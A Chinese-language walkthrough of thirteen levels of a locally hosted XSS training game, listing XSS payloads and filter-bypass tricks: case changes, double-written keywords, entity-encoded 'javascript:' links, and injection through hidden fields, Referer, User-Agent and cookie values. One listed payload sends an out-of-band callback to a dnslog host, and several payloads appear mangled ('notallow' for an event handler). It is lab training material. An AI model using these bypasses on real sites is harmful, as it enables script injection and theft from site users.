0
点赞
收藏
分享

微信扫一扫

XSS 1-13

本地搭建xssgame程序 下载源码后 放到pikachu的www目录下即可http://127.0.0.1:8999/xssgame/

"OnMoUsEoVeR=prompt(6)//
"><script>alert(/6/)</script>
"><iMg SrC=1 oNeRrOr=prompt(6)>
<video SrC=1 onerror=prompt(6);>
<script>confirm(6);</script>
'onfocus=alert(1)//                                       # 事件型
<a href=javascript:alert(1)>                         #  点击a即可触发
<img src=x onerror=alert(1)>                       # src是错误的 就会调用error函数
'"><script>console.log(1)</script>               # 目标如果定义了console.log才能弹
<img src=# οnerrοr=http://dnslog地址/aaa>       无回显xss外带dnslog,打完从dnslog看回显即可
<script>alert(1)</script>
<img src=ganyu οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a herf=javascript:alert(1)>

1、Level 1
  1. 页面显示 payload长度为4
  2. 删除name后面的值 payload变为0
  3. 也就是说输入点为name后的= 为payload 那么输入点就是 php?name=
  1. 构造payload
  1. <script>alert(/xss/)</script>
2、Level 2
  1. 本题输入点 搜索框
  2. 输入payload :<script>alert(/xss/)</script> 代码没有被执行 输入的值进入到value值 闭合框

XSS 1-13_HTML

  1. 通过查看器查看搜索框

XSS 1-13_字段_02

  1. 尝试闭合value后面的语句 来执行xss "><script>alert(/xss/)</script>

XSS 1-13_字段_03

可以查看到 成功闭合到value值闭合框 导致代码执行

XSS 1-13_空字符串_04

3、Level 3
  1. 尝试利用上一关的payload "><script>alert(/xss/)</script> 没有执行此恶意代码 没有闭合到value闭合框
  2. 查看页面源代码 可以看到输入的值被过滤

HTML实体编码:命名字体:以&开头,以分号结尾。列如“<”的编码是“<”
字符编码:十进制,十六进制ASCII码或者Unicode字符编码,样式为“&#数值;”,如“<”可以编码为“<”和“<”

  1. 通过过滤的信息来看 没有过滤掉alert函数 那么可以利用 onclick构造payload
  1. payload: ' onclick=alert(1) ' 可以看到页面没有过滤掉代码 点击搜索框 代码执行

XSS 1-13_字段_05

XSS 1-13_字段_06

b. payload:' notallow=alert(1) ' 可以成功执行

XSS 1-13_HTML_07

XSS 1-13_字段_08

4、Level 4
  1. 输入payload : "><script>alert(1)</script> 发现<>直接过滤为空
  2. 输入payload:' notallow=alert(1) ' 此处为双引号
  3. 那么修改为 " notallow=alert(1) " 成功执行代码
  4. 同理 利用 " notallow=alert(1) " 成功执行
5、Level 5
  1. 输入payload " notallow=alert(1) " 发现on被过滤了
  2. 被过滤了那么onclick也不能使用
  3. 输入之前的语句<script>alert(/xss/)</script> 发现script也被过滤
  4. 输入"><a href="javascript:alert()">1</a > 成功执行
6、Level 6
  1. 大小写绕过 "><sCRIPT>alert(/6/)</sCRIPT>
  2. 输入"><a href="javascript:alert()">1</a > href 被过滤了
  3. 输入"><a HREF="javascript:alert()">1</a > 成功执行
7、Level 7
  1. 判断value闭合方式 单引号or双引号
  2. 输入payload :" notallow=alert(1) " 发现on被过滤为空
  3. 此时我们可以尝试双写:" onotallow=alert(1) " 成功执行
8、Level 8
  1. 输入payload "><a href="javascript:alert()">1</a >
  2. 尝试大写"><a hREF="javascript:alert()">1</a > 此处应该做了大小写转换
  3. 尝试输入:" notallow=alert(1) " on也被过滤了
  4. 分析源码

$str = strtolower($_GET["keyword"]);					大小写转化
$str2=str_replace("script","scr_ipt",$str);		将script替换为scr_ipt
$str3=str_replace("on","o_n",$str2);					将on替换为o_n
$str4=str_replace("src","sr_c",$str3);				将src替换为sr_c
$str5=str_replace("data","da_ta",$str4);			将data替换为da_ta
$str6=str_replace("href","hr_ef",$str5);			将href替换为hr_ef
$str7=str_replace('"','"',$str6);					将双引号 (") 替换为HTML实体 "

  1. 那么通过源码分析我们可以发现 之前所有的payload都无法使用。 源码没有过滤:’ > < % & # 过滤了:" src on script data
  2. 利用伪协议绕过

javascript::用于在URL中嵌入JavaScript代码,可以在用户点击链接时执行相应的脚本。
例:<a href="javascript:alert('Hello, World!')">Click me</a>
mailto::用于在URL中指定电子邮件地址,点击链接时会启动用户默认的邮件客户端并打开新邮件窗口。
例:<a href="mailto:example@example.com">Send email</a>
tel::用于在URL中指定电话号码,点击链接时会启动用户默认的电话应用。
例:<a href="tel:+123456789">Call us</a>
file::用于在本地文件系统中定位文件。
例:<a href="file:///path/to/local/file.txt">Local file</a>

TIP:当伪协议javascript代码中的关键字被过滤时,可以尝试使用HTML实体编码来绕过过滤

例如,如果网站对 script 关键字进行了过滤,您可以尝试使用 HTML 实体编码来绕过过滤,如下所示:jav&#x61;script:alert(1) 在这个例子中,&#x61; 是字符 a 的十六进制实体编码。因此,上述字符串最终被解释为 javascript:alert(1)

  1. 尝试绕过(不要对java进行编码 对script任意字母编码)
  1. 输入:jav&#x61;script:alert(1) 此时还是无法绕过

XSS 1-13_字段_09

  1. 输入:javasc&#x72;ipt:alert(1) 成功绕过

XSS 1-13_HTML_10

  1. 输入:javascr&#x69;pt:alert(1) 成功绕过
9、Level 9
  1. 输入上一关的payload 显示乱码 并且URL中提示链接不合法
  2. 分析下源码 可以看到与第八关类似 只不过多了一个链接验证代码 如下所示:

if (false === strpos($str7, 'http://')) {
   echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
} else {
   echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
这段代码尝试验证链接是否包含 'http://'。如果不包含,输出一个提示信息。然而,这种验证是相对简单的,可以轻松绕过。实际上,这并不能防止恶意输入或有效地验证链接的合法性。

  1. 根据代码分析 得出结论 输入点输入的代码中不包含http:// 链接不合法
  2. 那么在JavaScript中添加注释以包含 http://,可以使用单行注释或多行注释。以下是两个示例:(此关卡适用于单行注释)

单行注释
javascript:alert(1) // http://
多行注释
javascript:alert(1) /* 
http:// 
*/

  1. 单行注释以包含http://尝试绕过:javascri&#x0070;t:alert(1) /*http:// */
10、Level 10
  1. 判断输入点--URL输入
    1. 修改well done 页面payload长度对应修改 则此关的输入点为URL
  2. 页面右键查看页面源代码 查看到三组input输入 都被隐藏,未在用户界面显示,但是可以在表单提交时进行传递值
  3. XSS 1-13_字段_11

  4. type="hidden" 代表字段是隐藏的

<input name="t_link" value="" type="hidden">:这是一个隐藏的输入字段,其名称为 "t_link",并且当前的值为空字符串(value="")。当用户提交表单时,如果填写了这个字段的值,它将以 "t_link" 为键,用户填写的值为值发送到服务器。
<input name="t_history" value="" type="hidden">:同样是一个隐藏的输入字段,其名称为 "t_history",当前值为空字符串。同样,当用户提交表单时,如果填写了这个字段的值,它将以 "t_history" 为键,用户填写的值为值发送到服务器。
<input name="t_sort" value="" type="hidden">:这也是一个隐藏的输入字段,其名称为 "t_sort",当前值为空字符串。当用户提交表单时,如果填写了这个字段的值,它将以 "t_sort" 为键,用户填写的值为值发送到服务器。

  1. 将字段显示 :type="text" 用于创建一个文本输入框,用户可以在该输入框中输入文本信息。
  2. 构造payload
    1. t_link=" onfocus=alert(1) " value="text 代码没有变化
    2. XSS 1-13_空字符串_12

    3. t_history=" notallow=alert(1) " value="text 代码没有变化
    4. XSS 1-13_HTML_13

    5. t_sort=" notallow=alert(1) " value="text 此时可以看到 代码已经被带入执行 只不过构造的payload有问题 没有执行成功
    6. XSS 1-13_字段_14

    7. 根据查看器显示出的信息继续构造:t_sort=" notallow=alert(1) type="text" (t_sort=" 这个的 " 用户闭合value的)
    8. XSS 1-13_HTML_15

      XSS 1-13_HTML_16

11、Level 11
  1. 和10关类似 测试参数值
  2. 构造payload 利用上一关的尝试:t_sort=" notallow=alert(1) type="text" 页面没有显示搜索框 type="hidden"参数值依旧存在 那么t_sort也无法利用
  3. XSS 1-13_字段_17

  4. 分析代码

$str = $_GET["keyword"];		从 URL 的查询参数中获取名为 "keyword" 的值。这是用户通过 URL 提交的数据。
$str00 = $_GET["t_sort"];		从 URL 的查询参数中获取名为 "t_sort" 的值。同样,这是用户通过 URL 提交的数据。
$str11=$_SERVER['HTTP_REFERER'];		获取 HTTP 请求的引用来源(Referer 头)。这表示用户是从哪个页面跳转到当前页面的。请注意,HTTP_REFERER 可能是空的,因为浏览器不总是发送此头部。
$str22=str_replace(">","",$str11);	使用 str_replace 函数,将字符串中的 ">" 替换为空字符串。这是为了防止恶意用户在引用来源中插入 HTML 或其他代码
$str33=str_replace("<","",$str22);	使用 str_replace 函数,将字符串中的 "<" 替换为空字符串。同样是为了防止恶意用户在引用来源中插入 HTML 或其他代码。

  1. 根据代码分析 我们得出来此关会通过refer来获取引用来源 并且对引用来源进行过滤相关恶意代码

<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>

TIP:"t_ref",值为 $str33,即经过处理的引用来源。

  1. 那么 我们就可以通过修改refer获取的信息 然后使其赋值给t_ref 从而进行绕过
  2. 构造payload : "onclick alert(1) type="text"
  3. 使用插件 hackbar 进行提交payload
  4. XSS 1-13_空字符串_18

  5. 此时 通过查看器可以看到 t_ref的值 已经被修改
  6. XSS 1-13_字段_19

12、Level 12
  1. 通过查看器 查看input 发现t_ua的值 为获取的浏览器信息 即user agent
  2. XSS 1-13_空字符串_20

  3. 类似十一关 通过利用hackbar 提交payload : " notallow=alert(1) type="text"

XSS 1-13_字段_21

XSS 1-13_空字符串_22

13、Level 13

TIP:本关本地搭建的情况下 测试cookie注入没有效果

  1. bp抓包
  2. XSS 1-13_HTML_23

  3. 发现input输入函数中 t_cook得值和数据包中的cookie值相同
  4. 那么 利用bp 将cookie值修改为payload进行放行数据包

XSS 1-13_空字符串_24

XSS 1-13_空字符串_25

XSS 1-13_空字符串_26


举报

相关推荐

0 条评论